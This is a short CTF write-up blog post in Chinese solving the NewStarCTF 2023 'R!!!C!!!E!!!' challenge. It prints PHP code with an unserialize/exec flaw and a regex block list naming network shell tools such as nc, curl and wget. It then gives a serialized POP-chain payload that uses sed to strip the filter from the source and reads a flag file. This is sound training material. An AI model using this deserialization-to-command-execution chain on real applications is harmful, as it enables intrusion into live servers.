[NewStarCTF 2023 公开赛道]R!!!C!!!E!!! 2025-02-20- 2025-02-21 269- 1m- - 刷题笔记-rce[NewStarCTF 2023 公开赛道]R!!!C!!!E!!!123456789101112131415161718192021<?phphighlight_file(__FILE__);class minipop{ public $code; public $qwejaskdjnlka; public function __toString() { if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){ exec($this->code); } return "alright"; } public function __destruct() { echo $this->qwejaskdjnlka; }}if(isset($_POST['payload'])){ //wanna try? unserialize($_POST['payload']);} 一眼看去,过滤了很多东西 由于使用了exec,程序不会有回显 我们注意到正则没有过滤sed,我们可以把正则里的|删去,那这题就简单多了 123456789101112131415161718192021222324<?phphighlight_file(__FILE__);class minipop{ public $code; public $qwejaskdjnlka; public function __toString() { if (!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)) { exec($this->code); } return "alright"; } public function __destruct() { echo $this->qwejaskdjnlka; }}$a = new minipop;$a->qwejaskdjnlka = new minipop;$a->qwejaskdjnlka->code = 'sed -i \'s/|//g\' index`echo -e "\x2ep"`hp';$a->qwejaskdjnlka->code = 'ls / >1.php';$a->qwejaskdjnlka->code = 'cat /flag_is_h3eeere >1.php';echo (serialize($a)); Post author: kinseyPost link: https://kinsey973.github.io/2025/02/20/NewStarCTF-2023-%E5%85%AC%E5%BC%80%E8%B5%9B%E9%81%93-R-C-E/Copyright Notice: All articles in this blog are licensed under unless otherwise stated.